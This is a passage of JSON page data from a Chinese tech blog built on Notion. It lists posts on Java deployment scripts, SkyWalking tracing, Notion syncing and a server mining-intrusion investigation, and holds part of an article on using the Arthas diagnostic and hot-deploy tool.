26配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"e013510c-b3a7-4907-b4cd-118b118d30db":{"value":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","version":712,"type":"page","content":["49660a6b-8b10-4449-a089-e36bd6de154f","4167aad0-7638-4d68-8664-3c483389677f","75842799-a053-4659-ab50-17678231e4ff","6216de61-29ce-4cc1-9319-ab02317fa14a","2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","ece49cba-6c96-4588-b464-5c0c71b286f3","b3c41a84-43ee-4d6b-8bbd-091ff384fd59","f4ac19d7-d241-4ba2-94cb-255c510c8bef","2a69447b-8578-439b-8fff-9f1bcd702af0","afd11af0-cd3a-42fb-9f6d-c63e50e0c935","eb365015-594d-4556-b962-17bd7c09aca4","3aa2a959-6acc-470e-a328-06cfb782b7da","1abb1800-907c-407f-8c68-4870699ce5a3","c810b651-629c-494d-951f-1c49c6d3e328","57d4ad7c-5cc1-404b-887f-864994a1e2c7","aa247981-241f-4ca5-b749-229ce2fcf44e","e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","0bce87bd-e041-4e99-86df-656bc5692349","db0307cc-b039-40e6-a680-7bfc07afaa67","e9e6045c-97a6-4a9b-959f-f04f7019f248","00bc6d41-7356-48b6-a443-e145bb33d169","4fcb29e1-90ad-4736-b951-b048e8b490f4","c045edef-158c-4c43-a867-45748cdf2ed0","3c034094-e024-42f9-818d-fd49579543ab","3991bb35-efa4-4722-a269-9f80ad3e5a89","46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","91a2fac9-d67e-4eb6-8f80-ce12aa78557c","5e155fc2-041f-4ac4-9863-f257c6ae8d99","a70ea93f-49bc-44eb-9af4-58311b9e22a0","5b9a3023-17e9-4d71-9a01-b90ada81a321","309ea1f2-8e10-48f9-8990-6192b5ecf2dc","28f29155-ccfb-4e5c-a590-530707efde4e","72c01b35-1a16-4630-8517-0ef7f56a4958","39acdf62-e65e-4362-a2ff-92efffb2eea9","110b2916-df77-4445-a6f5-5a7f700f14e0","6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","713edbb3-17cd-4bb8-91c5-4a500b3a8994","23e941c9-ce06-4f1b-af06-6bccec2d3ea4","bb1503ec-72a1-49b0-bfc0-5514d3749738","5d496523-f3ac-4297-ab9d-49946de020e0","abe817d3-4a91-4f84-aed1-113eab9e33ea","b7688c06-839f-475f-99d8-092a08b7e21d","7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","27f5381c-4c90-4bf9-ad1d-be7f972dfced"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710900516985,"last_edited_time":1710910330213,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"49660a6b-8b10-4449-a089-e36bd6de154f":{"value":{"id":"49660a6b-8b10-4449-a089-e36bd6de154f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"4167aad0-7638-4d68-8664-3c483389677f":{"value":{"id":"4167aad0-7638-4d68-8664-3c483389677f","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"75842799-a053-4659-ab50-17678231e4ff":{"value":{"id":"75842799-a053-4659-ab50-17678231e4ff","type":"callout","properties":{"title":[["Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523640,"last_edited_time":1710906535116,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6216de61-29ce-4cc1-9319-ab02317fa14a":{"value":{"id":"6216de61-29ce-4cc1-9319-ab02317fa14a","type":"header","properties":{"title":[["基本配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710901319587,"last_edited_time":1710901327584,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd":{"value":{"id":"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","type":"bulleted_list","properties":{"title":[["官方文档:"],["https://arthas.gitee.io/doc/",[["a","https://arthas.gitee.io/doc/"]]]]},"created_time":1710901328051,"last_edited_time":1710901361598,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"ece49cba-6c96-4588-b464-5c0c71b286f3":{"value":{"id":"ece49cba-6c96-4588-b464-5c0c71b286f3","type":"bulleted_list","properties":{"title":[["下载arthas-boot.jar:"],["https://github.com/alibaba/arthas/releases",[["b"],["a","https://github.com/alibaba/arthas/releases"]]]]},"created_time":1710901368276,"last_edited_time":1710901392474,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b3c41a84-43ee-4d6b-8bbd-091ff384fd59":{"value":{"id":"b3c41a84-43ee-4d6b-8bbd-091ff384fd59","type":"bulleted_list","properties":{"title":[["直接java -jar arthas-boot.jar即可开始使用"]]},"created_time":1710901393274,"last_edited_time":1710901419736,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"f4ac19d7-d241-4ba2-94cb-255c510c8bef":{"value":{"id":"f4ac19d7-d241-4ba2-94cb-255c510c8bef","type":"bulleted_list","properties":{"title":[["idea中安装两个插件:arthas idea \u0026 ArthasHotSwap"]]},"created_time":1710901591928,"last_edited_time":1710901637032,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2a69447b-8578-439b-8fff-9f1bcd702af0":{"value":{"id":"2a69447b-8578-439b-8fff-9f1bcd702af0","type":"header","properties":{"title":[["热部署"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900685231,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"afd11af0-cd3a-42fb-9f6d-c63e50e0c935":{"value":{"id":"afd11af0-cd3a-42fb-9f6d-c63e50e0c935","type":"quote","properties":{"title":[["限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法"]]},"created_time":1710901704530,"last_edited_time":1710901710307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"eb365015-594d-4556-b962-17bd7c09aca4":{"value":{"id":"eb365015-594d-4556-b962-17bd7c09aca4","type":"text","created_time":1710903024828,"last_edited_time":1710903024828,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3aa2a959-6acc-470e-a328-06cfb782b7da":{"value":{"id":"3aa2a959-6acc-470e-a328-06cfb782b7da","type":"text","properties":{"title":[["我们修改以下代码"]]},"created_time":1710901720142,"last_edited_time":1710902750922,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"1abb1800-907c-407f-8c68-4870699ce5a3":{"value":{"id":"1abb1800-907c-407f-8c68-4870699ce5a3","type":"image","properties":{"size":[["112.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3236842105263158,"block_preserve_scale":true},"created_time":1710902710894,"last_edited_time":1710902717085,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["f585c4ed-7c6f-4998-966e-d0081d2b7d18"]}},"c810b651-629c-494d-951f-1c49c6d3e328":{"value":{"id":"c810b651-629c-494d-951f-1c49c6d3e328","type":"text","properties":{"title":[["然后comile一下"]]},"created_time":1710902715123,"last_edited_time":1710902760017,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"57d4ad7c-5cc1-404b-887f-864994a1e2c7":{"value":{"id":"57d4ad7c-5cc1-404b-887f-864994a1e2c7","type":"image","properties":{"size":[["241.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.23791348600508905,"block_preserve_scale":true},"created_time":1710902781652,"last_edited_time":1710902789774,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["da1b4a9f-75db-40db-bda2-9b953a26d36b"]}},"aa247981-241f-4ca5-b749-229ce2fcf44e":{"value":{"id":"aa247981-241f-4ca5-b749-229ce2fcf44e","type":"text","created_time":1710902785084,"last_edited_time":1710902785084,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff":{"value":{"id":"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","type":"text","properties":{"title":[["如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址"]]},"created_time":1710902785209,"last_edited_time":1710902920118,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"0bce87bd-e041-4e99-86df-656bc5692349":{"value":{"id":"0bce87bd-e041-4e99-86df-656bc5692349","type":"text","properties":{"title":[["他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明"]]},"created_time":1710902928985,"last_edited_time":1710902996580,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"db0307cc-b039-40e6-a680-7bfc07afaa67":{"value":{"id":"db0307cc-b039-40e6-a680-7bfc07afaa67","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.38799283154121866,"block_preserve_scale":true},"created_time":1710902896442,"last_edited_time":1710902902168,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["77ab3448-b42c-448f-9616-75f9dd9f9d21"]}},"e9e6045c-97a6-4a9b-959f-f04f7019f248":{"value":{"id":"e9e6045c-97a6-4a9b-959f-f04f7019f248","type":"text","properties":{"title":[["然后在指定class右键执行工具"]]},"created_time":1710902926091,"last_edited_time":1710903105222,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"00bc6d41-7356-48b6-a443-e145bb33d169":{"value":{"id":"00bc6d41-7356-48b6-a443-e145bb33d169","type":"image","properties":{"size":[["139.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png","block_full_width":false,"block_page_width":true,"bl